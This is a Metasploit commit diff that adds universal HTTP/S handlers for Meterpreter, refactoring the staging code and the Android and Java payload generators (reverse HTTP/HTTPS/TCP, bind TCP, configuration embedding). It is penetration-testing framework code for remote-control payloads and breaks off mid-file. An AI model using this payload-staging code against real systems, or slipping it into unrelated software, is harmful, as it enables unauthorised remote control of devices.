Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads
commit
fa016de78a
|
@ -0,0 +1,50 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class creates a platform-independent meterpreter session type
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Meterpreter_Multi < Msf::Sessions::Meterpreter
|
||||||
|
def initialize(rstream, opts={})
|
||||||
|
super
|
||||||
|
self.base_platform = 'multi'
|
||||||
|
self.base_arch = ARCH_ANY
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.create_session(rstream, opts={})
|
||||||
|
# TODO: fill in more cases here
|
||||||
|
case opts[:payload_uuid].platform
|
||||||
|
when 'python'
|
||||||
|
require 'msf/base/sessions/meterpreter_python'
|
||||||
|
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
|
||||||
|
when 'java'
|
||||||
|
require 'msf/base/sessions/meterpreter_java'
|
||||||
|
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
|
||||||
|
when 'android'
|
||||||
|
require 'msf/base/sessions/meterpreter_android'
|
||||||
|
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
|
||||||
|
when 'php'
|
||||||
|
require 'msf/base/sessions/meterpreter_php'
|
||||||
|
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
|
||||||
|
when 'windows'
|
||||||
|
if opts[:payload_uuid].arch == ARCH_X86
|
||||||
|
require 'msf/base/sessions/meterpreter_x86_win'
|
||||||
|
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
|
||||||
|
end
|
||||||
|
require 'msf/base/sessions/meterpreter_x64_win'
|
||||||
|
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: what should we do when we get here?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -67,9 +67,7 @@ module MeterpreterOptions
|
||||||
end
|
end
|
||||||
|
|
||||||
if session.platform == 'android'
|
if session.platform == 'android'
|
||||||
if datastore['AutoLoadAndroid']
|
session.load_android
|
||||||
session.load_android
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||||
|
|
|
@ -323,7 +323,7 @@ module Msf
|
||||||
multi_handler.datastore['PAYLOAD'] = payload_name
|
multi_handler.datastore['PAYLOAD'] = payload_name
|
||||||
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
|
||||||
|
|
||||||
%w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc
|
%w(DebugOptions PrependMigrate PrependMigrateProc
|
||||||
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
|
||||||
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
|
||||||
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
|
||||||
|
|
|
@ -199,7 +199,14 @@ protected
|
||||||
# allocate a new session.
|
# allocate a new session.
|
||||||
if (self.session)
|
if (self.session)
|
||||||
begin
|
begin
|
||||||
s = self.session.new(conn, opts)
|
# if there's a create_session method then use it, as this
|
||||||
|
# can form a factory for arb session types based on the
|
||||||
|
# payload.
|
||||||
|
if self.session.respond_to?('create_session')
|
||||||
|
s = self.session.create_session(conn, opts)
|
||||||
|
else
|
||||||
|
s = self.session.new(conn, opts)
|
||||||
|
end
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
# We just wanna show and log the error, not trying to swallow it.
|
# We just wanna show and log the error, not trying to swallow it.
|
||||||
print_error("#{e.class} #{e.message}")
|
print_error("#{e.class} #{e.message}")
|
||||||
|
|
|
@ -317,77 +317,31 @@ protected
|
||||||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
||||||
resp.body = pkt.to_r
|
resp.body = pkt.to_r
|
||||||
|
|
||||||
when :init_python
|
when :init_python, :init_native, :init_java
|
||||||
print_status("Staging Python payload...")
|
# TODO: at some point we may normalise these three cases into just :init
|
||||||
url = payload_uri(req) + conn_id + '/'
|
url = payload_uri(req) + conn_id + '/'
|
||||||
|
|
||||||
blob = ""
|
# Damn you, python! Ruining my perfect world!
|
||||||
blob << self.generate_stage(
|
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||||
http_url: url,
|
|
||||||
http_user_agent: datastore['MeterpreterUserAgent'],
|
|
||||||
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
|
||||||
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
|
||||||
uuid: uuid,
|
|
||||||
uri: conn_id
|
|
||||||
)
|
|
||||||
|
|
||||||
resp.body = blob
|
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
|
||||||
create_session(cli, {
|
|
||||||
:passive_dispatcher => self.service,
|
|
||||||
:conn_id => conn_id,
|
|
||||||
:url => url,
|
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
||||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
|
||||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
|
||||||
:ssl => ssl?,
|
|
||||||
:payload_uuid => uuid
|
|
||||||
})
|
|
||||||
|
|
||||||
when :init_java
|
|
||||||
print_status("Staging Java payload...")
|
|
||||||
url = payload_uri(req) + conn_id + "/\x00"
|
|
||||||
|
|
||||||
blob = self.generate_stage(
|
|
||||||
uuid: uuid,
|
|
||||||
uri: conn_id
|
|
||||||
)
|
|
||||||
|
|
||||||
resp.body = blob
|
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
|
||||||
create_session(cli, {
|
|
||||||
:passive_dispatcher => self.service,
|
|
||||||
:conn_id => conn_id,
|
|
||||||
:url => url,
|
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
||||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
|
||||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
|
||||||
:ssl => ssl?,
|
|
||||||
:payload_uuid => uuid
|
|
||||||
})
|
|
||||||
|
|
||||||
when :init_native
|
|
||||||
print_status("Staging Native payload...")
|
|
||||||
url = payload_uri(req) + conn_id + "/\x00"
|
|
||||||
uri = URI(payload_uri(req) + conn_id)
|
uri = URI(payload_uri(req) + conn_id)
|
||||||
|
|
||||||
resp['Content-Type'] = 'application/octet-stream'
|
# TODO: does this have to happen just for windows, or can we set it for all?
|
||||||
|
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
|
||||||
|
|
||||||
begin
|
begin
|
||||||
# generate the stage, but pass in the existing UUID and connection id so that
|
|
||||||
# we don't get new ones generated.
|
|
||||||
blob = self.generate_stage(
|
blob = self.generate_stage(
|
||||||
uuid: uuid,
|
url: url,
|
||||||
uri: conn_id,
|
uuid: uuid,
|
||||||
lhost: uri.host,
|
lhost: uri.host,
|
||||||
lport: uri.port
|
lport: uri.port,
|
||||||
|
uri: conn_id
|
||||||
)
|
)
|
||||||
|
|
||||||
resp.body = encode_stage(blob)
|
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||||
|
|
||||||
|
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||||
|
|
||||||
|
resp.body = blob
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
# Short-circuit the payload's handle_connection processing for create_session
|
||||||
create_session(cli, {
|
create_session(cli, {
|
||||||
|
@ -414,11 +368,14 @@ protected
|
||||||
url = payload_uri(req) + conn_id
|
url = payload_uri(req) + conn_id
|
||||||
url << '/' unless url[-1] == '/'
|
url << '/' unless url[-1] == '/'
|
||||||
|
|
||||||
|
# Damn you, python! Ruining my perfect world!
|
||||||
|
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
# Short-circuit the payload's handle_connection processing for create_session
|
||||||
create_session(cli, {
|
create_session(cli, {
|
||||||
:passive_dispatcher => self.service,
|
:passive_dispatcher => self.service,
|
||||||
:conn_id => conn_id,
|
:conn_id => conn_id,
|
||||||
:url => url + "\x00",
|
:url => url,
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||||
|
|
|
@ -536,4 +536,12 @@ class Msf::Module::Platform
|
||||||
Rank = 100
|
Rank = 100
|
||||||
Alias = "mainframe"
|
Alias = "mainframe"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Multi (for wildcard-style platform functions)
|
||||||
|
#
|
||||||
|
class Multi < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
Alias = "multi"
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -32,6 +32,9 @@ class Payload < Msf::Module
|
||||||
require 'msf/core/payload/firefox'
|
require 'msf/core/payload/firefox'
|
||||||
require 'msf/core/payload/mainframe'
|
require 'msf/core/payload/mainframe'
|
||||||
|
|
||||||
|
# Universal payload includes
|
||||||
|
require 'msf/core/payload/multi'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Payload types
|
# Payload types
|
||||||
|
|
|
@ -24,41 +24,41 @@ module Msf::Payload::Android
|
||||||
# We could compile the .class files with dx here
|
# We could compile the .class files with dx here
|
||||||
#
|
#
|
||||||
def generate_stage(opts={})
|
def generate_stage(opts={})
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_default_stage(opts={})
|
||||||
|
''
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Used by stagers to construct the payload jar file as a String
|
# Used by stagers to construct the payload jar file as a String
|
||||||
#
|
#
|
||||||
def generate
|
def generate(opts={})
|
||||||
generate_jar.pack
|
generate_jar(opts).pack
|
||||||
end
|
end
|
||||||
|
|
||||||
def java_string(str)
|
def java_string(str)
|
||||||
[str.length].pack("N") + str
|
[str.length].pack("N") + str
|
||||||
end
|
end
|
||||||
|
|
||||||
def apply_options(classes, opts)
|
def generate_config(opts={})
|
||||||
config = generate_config_bytes(opts)
|
|
||||||
if opts[:stageless]
|
|
||||||
config[0] = "\x01"
|
|
||||||
end
|
|
||||||
|
|
||||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config_bytes(opts={})
|
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
|
||||||
config_opts = {
|
config_opts = {
|
||||||
ascii_str: true,
|
ascii_str: true,
|
||||||
arch: opts[:uuid].arch,
|
arch: opts[:uuid].arch,
|
||||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||||
uuid: opts[:uuid],
|
uuid: opts[:uuid],
|
||||||
transports: [transport_config(opts)]
|
transports: opts[:transport_config] || [transport_config(opts)]
|
||||||
}
|
}
|
||||||
|
|
||||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||||
config.to_b
|
result = config.to_b
|
||||||
|
|
||||||
|
result[0] = "\x01" if opts[:stageless]
|
||||||
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
def string_sub(data, placeholder="", input="")
|
def string_sub(data, placeholder="", input="")
|
||||||
|
@ -104,7 +104,8 @@ module Msf::Payload::Android
|
||||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||||
end
|
end
|
||||||
|
|
||||||
apply_options(classes, opts)
|
config = generate_config(opts)
|
||||||
|
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||||
|
|
||||||
jar = Rex::Zip::Jar.new
|
jar = Rex::Zip::Jar.new
|
||||||
files = [
|
files = [
|
||||||
|
|
|
@ -0,0 +1,56 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Common loader for Android payloads that make use of Meterpreter.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Android::MeterpreterLoader
|
||||||
|
|
||||||
|
include Msf::Payload::Android
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Android Meterpreter & Configuration',
|
||||||
|
'Description' => 'Android-specific meterpreter generation',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'Platform' => 'android',
|
||||||
|
'Arch' => ARCH_DALVIK,
|
||||||
|
'PayloadCompat' => {'Convention' => 'http https'},
|
||||||
|
'Stage' => {'Payload' => ''}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_payload(opts={})
|
||||||
|
stage_meterpreter(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_meterpreter(opts={})
|
||||||
|
clazz = 'androidpayload.stage.Meterpreter'
|
||||||
|
metstage = MetasploitPayloads.read("android", "metstage.jar")
|
||||||
|
met = MetasploitPayloads.read("android", "meterpreter.jar")
|
||||||
|
|
||||||
|
# Name of the class to load from the stage, the actual jar to load
|
||||||
|
# it from, and then finally the meterpreter stage
|
||||||
|
blocks = [
|
||||||
|
java_string(clazz),
|
||||||
|
java_string(metstage),
|
||||||
|
java_string(met),
|
||||||
|
java_string(generate_config(opts))
|
||||||
|
]
|
||||||
|
|
||||||
|
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,63 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Android that speaks HTTP(S)
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Android::ReverseHttp
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Android
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_http(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_config(opts={})
|
||||||
|
opts[:uri] ||= luri + generate_uri(opts)
|
||||||
|
super(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the URI for the initial stager
|
||||||
|
#
|
||||||
|
def generate_uri(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
uri_req_len = ds['StagerURILength'].to_i
|
||||||
|
|
||||||
|
# Choose a random URI length between 30 and 255 bytes
|
||||||
|
if uri_req_len == 0
|
||||||
|
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||||
|
end
|
||||||
|
|
||||||
|
if uri_req_len < 5
|
||||||
|
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||||
|
#
|
||||||
|
def wfs_delay
|
||||||
|
20
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,27 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/android/reverse_http'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Android that speaks HTTPS
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Android::ReverseHttps
|
||||||
|
|
||||||
|
include Msf::Payload::Android::ReverseHttp
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_https(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Android that speaks TCP
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Android::ReverseTcp
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Android
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_tcp(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -4,7 +4,7 @@ require 'msf/core'
|
||||||
module Msf::Payload::Java
|
module Msf::Payload::Java
|
||||||
|
|
||||||
#
|
#
|
||||||
# Used by stages; all java stages need to define +@stage_class_files+ as an
|
# Used by stages; all java stages need to define +stage_class_files+ as an
|
||||||
# array of .class files located in data/java/
|
# array of .class files located in data/java/
|
||||||
#
|
#
|
||||||
# The staging protocol expects any number of class files, each prepended
|
# The staging protocol expects any number of class files, each prepended
|
||||||
|
@ -15,8 +15,12 @@ module Msf::Payload::Java
|
||||||
# [ 32-bit null ]
|
# [ 32-bit null ]
|
||||||
#
|
#
|
||||||
def generate_stage(opts={})
|
def generate_stage(opts={})
|
||||||
|
generate_default_stage(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_default_stage(opts={})
|
||||||
stage = ''
|
stage = ''
|
||||||
@stage_class_files.each do |path|
|
stage_class_files.each do |path|
|
||||||
data = MetasploitPayloads.read('java', path)
|
data = MetasploitPayloads.read('java', path)
|
||||||
stage << [data.length, data].pack('NA*')
|
stage << [data.length, data].pack('NA*')
|
||||||
end
|
end
|
||||||
|
@ -28,15 +32,14 @@ module Msf::Payload::Java
|
||||||
#
|
#
|
||||||
# Used by stagers to construct the payload jar file as a String
|
# Used by stagers to construct the payload jar file as a String
|
||||||
#
|
#
|
||||||
def generate
|
def generate(opts={})
|
||||||
generate_jar.pack
|
generate_jar(opts).pack
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
|
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
|
||||||
# define a list of class files in @class_files which are pulled from the
|
# define a list of class files from the class_files method. The
|
||||||
# MetasploitPayloads gem. The configuration file is created by
|
# configuration file is created by the payload's #stager_config method.
|
||||||
# the payload's #config method.
|
|
||||||
#
|
#
|
||||||
# @option opts :main_class [String] the name of the Main-Class
|
# @option opts :main_class [String] the name of the Main-Class
|
||||||
# attribute in the manifest. Defaults to "metasploit.Payload"
|
# attribute in the manifest. Defaults to "metasploit.Payload"
|
||||||
|
@ -44,18 +47,18 @@ module Msf::Payload::Java
|
||||||
# "metasploit" package name.
|
# "metasploit" package name.
|
||||||
# @return [Rex::Zip::Jar]
|
# @return [Rex::Zip::Jar]
|
||||||
def generate_jar(opts={})
|
def generate_jar(opts={})
|
||||||
raise if not respond_to? :config
|
raise if not respond_to? :stager_config
|
||||||
# Allow changing the jar's Main Class in the manifest so wrappers
|
# Allow changing the jar's Main Class in the manifest so wrappers
|
||||||
# around metasploit.Payload will work.
|
# around metasploit.Payload will work.
|
||||||
main_class = opts[:main_class] || "metasploit.Payload"
|
main_class = opts[:main_class] || "metasploit.Payload"
|
||||||
|
|
||||||
paths = [
|
paths = [
|
||||||
[ "metasploit", "Payload.class" ],
|
[ "metasploit", "Payload.class" ],
|
||||||
] + @class_files
|
] + class_files
|
||||||
|
|
||||||
jar = Rex::Zip::Jar.new
|
jar = Rex::Zip::Jar.new
|
||||||
jar.add_sub("metasploit") if opts[:random]
|
jar.add_sub("metasploit") if opts[:random]
|
||||||
jar.add_file("metasploit.dat", config)
|
jar.add_file("metasploit.dat", stager_config(opts))
|
||||||
jar.add_files(paths, MetasploitPayloads.path('java'))
|
jar.add_files(paths, MetasploitPayloads.path('java'))
|
||||||
jar.build_manifest(:main_class => main_class)
|
jar.build_manifest(:main_class => main_class)
|
||||||
|
|
||||||
|
@ -71,7 +74,7 @@ module Msf::Payload::Java
|
||||||
# web.xml. Defaults to random
|
# web.xml. Defaults to random
|
||||||
#
|
#
|
||||||
def generate_war(opts={})
|
def generate_war(opts={})
|
||||||
raise if not respond_to? :config
|
raise if not respond_to? :stager_config
|
||||||
zip = Rex::Zip::Jar.new
|
zip = Rex::Zip::Jar.new
|
||||||
|
|
||||||
web_xml = %q{<?xml version="1.0"?>
|
web_xml = %q{<?xml version="1.0"?>
|
||||||
|
@ -96,27 +99,26 @@ module Msf::Payload::Java
|
||||||
paths = [
|
paths = [
|
||||||
[ "metasploit", "Payload.class" ],
|
[ "metasploit", "Payload.class" ],
|
||||||
[ "metasploit", "PayloadServlet.class" ],
|
[ "metasploit", "PayloadServlet.class" ],
|
||||||
] + @class_files
|
] + class_files
|
||||||
|
|
||||||
zip.add_file('WEB-INF/', '')
|
zip.add_file('WEB-INF/', '')
|
||||||
zip.add_file('WEB-INF/web.xml', web_xml)
|
zip.add_file('WEB-INF/web.xml', web_xml)
|
||||||
zip.add_file("WEB-INF/classes/", "")
|
zip.add_file("WEB-INF/classes/", "")
|
||||||
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
|
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
|
||||||
zip.add_file("WEB-INF/classes/metasploit.dat", config)
|
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
|
||||||
|
|
||||||
zip
|
zip
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
|
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
|
||||||
# Stagers define a list of class files in @class_files which are pulled
|
# Stagers define a list of class files returned via class_files. The
|
||||||
# from the MetasploitPayloads gem. The configuration file is created by
|
# configuration file is created by the payload's #stager_config method.
|
||||||
# the payload's #config method.
|
|
||||||
#
|
#
|
||||||
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
|
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
|
||||||
# @return [Rex::Zip::Jar]
|
# @return [Rex::Zip::Jar]
|
||||||
def generate_axis2(opts={})
|
def generate_axis2(opts={})
|
||||||
raise if not respond_to? :config
|
raise if not respond_to? :stager_config
|
||||||
|
|
||||||
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
||||||
|
|
||||||
|
@ -132,16 +134,26 @@ module Msf::Payload::Java
|
||||||
paths = [
|
paths = [
|
||||||
[ 'metasploit', 'Payload.class' ],
|
[ 'metasploit', 'Payload.class' ],
|
||||||
[ 'metasploit', 'PayloadServlet.class' ]
|
[ 'metasploit', 'PayloadServlet.class' ]
|
||||||
] + @class_files
|
] + class_files
|
||||||
|
|
||||||
zip = Rex::Zip::Jar.new
|
zip = Rex::Zip::Jar.new
|
||||||
zip.add_file('META-INF/', '')
|
zip.add_file('META-INF/', '')
|
||||||
zip.add_file('META-INF/services.xml', services_xml)
|
zip.add_file('META-INF/services.xml', services_xml)
|
||||||
zip.add_files(paths, MetasploitPayloads.path('java'))
|
zip.add_files(paths, MetasploitPayloads.path('java'))
|
||||||
zip.add_file('metasploit.dat', config)
|
zip.add_file('metasploit.dat', stager_config(opts))
|
||||||
zip.build_manifest(:app_name => app_name)
|
zip.build_manifest(:app_name => app_name)
|
||||||
|
|
||||||
zip
|
zip
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Default to no extra class files
|
||||||
|
def class_files
|
||||||
|
[]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Default to no extra stage class files
|
||||||
|
def stage_class_files
|
||||||
|
[]
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,74 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Java that speaks TCP
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Java::BindTcp
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register Java reverse_http specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
register_advanced_options([
|
||||||
|
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||||
|
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_bind_tcp(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def include_send_uuid
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate configuration that is to be included in the stager.
|
||||||
|
#
|
||||||
|
def stager_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
spawn = ds["Spawn"] || 2
|
||||||
|
c = ""
|
||||||
|
c << "Spawn=#{spawn}\n"
|
||||||
|
pass = ds["AESPassword"] || ''
|
||||||
|
if pass != ""
|
||||||
|
c << "AESPassword=#{pass}\n"
|
||||||
|
end
|
||||||
|
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||||
|
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||||
|
|
||||||
|
c
|
||||||
|
end
|
||||||
|
|
||||||
|
def class_files
|
||||||
|
# TODO: we should handle opts in class_files as well
|
||||||
|
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||||
|
[
|
||||||
|
["metasploit", "AESEncryption.class"],
|
||||||
|
]
|
||||||
|
else
|
||||||
|
[]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,102 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Common module stub for Java payloads that make use of Meterpreter.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Java::MeterpreterLoader
|
||||||
|
|
||||||
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Java Meterpreter & Configuration',
|
||||||
|
'Description' => 'Java-specific meterpreter generation',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'Platform' => 'java',
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'PayloadCompat' => {'Convention' => 'http https'},
|
||||||
|
'Stage' => {'Payload' => ''}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_payload(opts={})
|
||||||
|
stage_meterpreter(opts)
